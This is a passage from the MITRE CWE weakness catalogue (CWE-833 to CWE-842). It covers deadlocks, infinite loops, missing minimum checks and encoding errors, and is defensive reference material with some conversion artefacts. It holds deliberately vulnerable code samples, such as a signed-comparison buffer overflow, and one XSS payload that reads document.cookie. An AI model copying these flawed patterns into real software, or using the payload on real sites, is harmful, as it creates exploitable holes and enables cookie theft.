<b>CVE-2009-1243</b>	OS kernel performs an unlock in some incorrect circumstances, leading to panic. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1243">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1243</a>

## CWE-833: Deadlock

<b>Weakness ID</b> : 833	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1296

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	1793

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) DoS: Crash, Exit, or Restart  <i>Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.</i>	

### Observed Examples

Reference	Description
<b>CVE-2009-2857</b>	OS deadlock <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2857">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2857</a>

## CWE-834: Excessive Iteration

<b>Weakness ID</b> : 834	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

### Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1338
ParentOf	ⓑ	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1542
CanFollow	ⓑ	606	Unchecked Input for Loop Condition	1204

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	ⓑ	835	Loop with Unreachable Exit Condition ('Infinite Loop')	1542

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification DoS: Crash, Exit, or Restart  <i>Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.</i>	

## Detection Methods

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Forced Path Execution

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

**Weakness ID** : 835

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

### Extended Description

If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

ChildOf	C	834	Excessive Iteration	1540

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	C	834	Excessive Iteration	1540

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1795

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Amplification  <i>An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.</i>	

## Demonstrative Examples

### Example 1:

In the following code the method `processMessagesFromServer` attempts to establish a connection to a server and read and process messages from the server. The method uses a `do/while` loop to continue trying to establish the connection to the server when an attempt fails.

Example Language: C

(bad)

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    int servsock;
    int connected;
    struct sockaddr_in servaddr;
    // create socket to connect to server
    servsock = socket( AF_INET, SOCK_STREAM, 0);
    memset( &servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = inet_addr(hostaddr);
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
    } while (connected < 0);
    // close socket and return success or failure
    ...
}
```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

Example Language: C

(good)

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    // initialize number of attempts counter
    int count = 0;
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // increment counter
        count++;
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
    }
```

```
// up to a maximum number of attempts
} while (connected < 0 && count < MAX_ATTEMPTS);
// close socket and return success or failure
...
}
```

**Example 2:**

For this example the method `isReorderNeeded` as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

Example Language: Java

(bad)

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
    // get inventory count for book
    int inventoryCount = inventory.getCount(bookISBN);
    // find number of days until inventory count reaches minimum
    while (inventoryCount > minimumCount) {
        inventoryCount = inventoryCount - rateSold;
        days++;
    }
    // if number of days within reorder timeframe
    // set reorder return boolean to true
    if (days > 0 && days < 5) {
        isReorder = true;
    }
    return isReorder;
}
```

However, the while loop will become an infinite loop if the `rateSold` input parameter has a value of zero since the `inventoryCount` will never fall below the `minimumCount`. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

Example Language: Java

(good)

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return isReorder;
    }
    ...
}
```

**Observed Examples**

## CWE-836: Use of Password Hash Instead of Password for Authentication

<b>Weakness ID</b> : 836	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

### Extended Description

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Observed Examples

Reference	Description
<b>CVE-2009-1283</b>	Product performs authentication with user-supplied password hashes that can be obtained from a separate SQL injection vulnerability (CVE-2009-1282). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1283">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1283</a>
<b>CVE-2005-3435</b>	Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435</a>

## CWE-837: Improper Enforcement of a Single, Unique Action

**Weakness ID** : 837

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software requires that an actor should only be able to perform an action once, or to have only one unique action, but the software does not enforce or improperly enforces this restriction.

### Extended Description

In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

<b>CVE-2009-2346</b>	Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2346">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2346</a>

**CWE-838: Inappropriate Encoding for Output Context**

<b>Weakness ID</b> : 838	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

**Description**

The software uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

**Extended Description**

This weakness can cause the downstream component to use a decoding method that produces different data than what the software intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were

not sent by the software. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.

For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of software that uses a communications stream that could support multiple encodings.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		116	Improper Encoding or Escaping of Output	259

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Representation Errors	1779

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Output Encoding*

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

### Phase: Architecture and Design

*Strategy = Output Encoding*

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

**Phase: Architecture and Design***Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Note that some template mechanisms provide built-in support for the appropriate encoding.

**Demonstrative Examples****Example 1:**

This code dynamically builds an HTML page using POST data:

*Example Language: PHP*

*(bad)*

```
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) . "</title>";
echo "<img src=\"". htmlentities($picSource) . \" ' alt=\"". htmlentities($picAltText) . \" ' />";
...
```

The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the htmlentities() encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set picAltText to:

*Example Language:*

*(attack)*

```
"altTextHere' onload='alert(document.cookie)"
```

This will result in the generated HTML image tag:

*Example Language: HTML*

*(result)*

```
<img src='pic.jpg' alt='altTextHere' onload='alert(document.cookie)' />
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

**Observed Examples**

Reference	Description
<b>CVE-2009-2814</b>	Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2814">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2814</a>

## CWE-839: Numeric Range Comparison Without Minimum Check

**Weakness ID** : 839

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The program checks a value to ensure that it is less than or equal to a maximum, but it does not also verify that the value is greater than or equal to the minimum.

### Extended Description

Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used

for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1023	Incomplete Comparison with Missing Factors	1631
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanPrecede		124	Buffer Underwrite ('Buffer Underflow')	298
CanPrecede		195	Signed to Unsigned Conversion Error	456
CanPrecede		682	Incorrect Calculation	1322

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		189	Numeric Errors	1780

## Applicable Platforms

**Language** : C (Prevalence = Often)

**Language** : C++ (Prevalence = Often)

## Alternate Terms

**Signed comparison** : The "signed comparison" term is often used to describe when the program uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

## Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Execute Unauthorized Code or Commands	
Availability	<i>An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.</i> DoS: Resource Consumption (Other) <i>in some contexts, a negative value could lead to resource consumption.</i>	
Confidentiality Integrity	Modify Memory Read Memory <i>If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.</i>	

## Potential Mitigations

**Phase: Implementation**

*Strategy = Enforcement by Conversion*

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size\_t.

**Phase: Implementation**

*Strategy = Input Validation*

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

**Demonstrative Examples****Example 1:**

The following code is intended to read an incoming packet from a socket and extract one or more headers.

*Example Language: C*

*(bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size\_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

**Example 2:**

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

*Example Language: C*

*(bad)*

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
```

```

/* s is -1 so it passes the safety check - CWE-697 */
if (s > 256) {
    DiePainfully("go away!\n");
}
/* s is sign-extended and saved in sz */
sz = s;
/* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
printf("i=%d, s=%d, sz=%u\n", i, s, sz);
input = Get userInput("Enter pathname:");
/* strncpy interprets s as unsigned int, so it's treated as MAX_INT
(CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);
}

```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

### Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C

(bad)

```

int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}

```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C

(good)

```

...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...

```

### Example 4:

The following code shows a simple BankAccount class with deposit and withdraw methods.

Example Language: Java

(bad)

```

public class BankAccount {
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {...}
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {
            double newBalance = accountBalance - withdrawAmount;
            accountBalance = newBalance;
        }
        else {
            System.err.println("Withdrawal amount exceeds the maximum limit allowed, please try again...");
            ...
        }
    }
    // other methods for accessing the BankAccount object
    ...
}

```

The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: Java

(good)

```

public class BankAccount {
    public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    ...
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
            withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
            ...
        }
    }
}

```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

### Observed Examples

Reference	Description
<b>CVE-2010-1866</b>	Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1866">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1866</a>
<b>CVE-2009-1099</b>	Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1099">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1099</a>

Reference	Description
<b>CVE-2011-0521</b>	Chain: kernel's lack of a check for a negative value leads to memory corruption. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0521">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0521</a>
<b>CVE-2010-3704</b>	Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3704">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3704</a>
<b>CVE-2010-2530</b>	Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2530">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2530</a>
<b>CVE-2009-3080</b>	Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3080">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3080</a>
<b>CVE-2008-6393</b>	chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6393">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6393</a>
<b>CVE-2008-4558</b>	chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4558">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4558</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-841: Improper Enforcement of Behavioral Workflow

<b>Weakness ID</b> : 841	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

### Extended Description

By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.

For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer.

Note that this is different than CWE-696, which focuses on when the software performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:

- Steps are performed in the expected order.
- Required steps are not omitted.
- Steps are not interrupted.
- Steps are performed in a timely fashion.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1338

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1900

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1217	User Session Errors	1943
MemberOf	C	438	Behavioral Problems	1795
MemberOf	C	840	Business Logic Errors	1829

## Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	
	<i>An attacker could cause the software to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.</i>	

## Demonstrative Examples

### Example 1:

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

*Example Language: Python*

*(bad)*

```
def dispatchCommand(command, user, args):
    if command == 'Login':
        loginUser(args)
        return
    # user has requested a file
    if command == 'Retrieve_file':
        if authenticated(user) and ownsFile(user,args):
            sendFile(args)
            return
    if command == 'List_files':
```

```
listFiles(args)
return
...
```

The server correctly does not send files to a user that isn't logged in and doesn't own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.

Here is a fixed version of the above example:

Example Language: Python

(good)

```
def dispatchCommand(command, user, args):
    ...
    if command == 'List_files':
        if authenticated(user) and ownsDirectory(user,args):
            listFiles(args)
            return
    ...
```

## Observed Examples

Reference	Description
<b>CVE-2011-0348</b>	Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0348">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0348</a>
<b>CVE-2007-3012</b>	Attacker can access portions of a restricted page by canceling out of a dialog. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3012">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3012</a>
<b>CVE-2009-5056</b>	Ticket-tracking system does not enforce a permission setting. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-5056">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-5056</a>
<b>CVE-2004-2164</b>	Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2164">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2164</a>
<b>CVE-2003-0777</b>	Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0777">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0777</a>
<b>CVE-2005-3327</b>	Chain: Authentication bypass by skipping the first startup step as required by the protocol. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3327">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3327</a>
<b>CVE-2004-0829</b>	Chain: File server crashes when sent a "find next" request without an initial "find first." <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0829">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0829</a>
<b>CVE-2010-2620</b>	FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2620">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2620</a>
<b>CVE-2005-3296</b>	FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3296">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3296</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

MemberOf	<b>V</b>	884	CWE Cross-section	884	1964

## Notes

### Research Gap

This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses. The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

## CWE-842: Placement of User into Incorrect Group

**Weakness ID** : 842**Status**: Incomplete**Structure** : Simple**Abstraction** : Base

### Description

The software or the administrator places a user into an incorrect group.

### Extended Description

If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

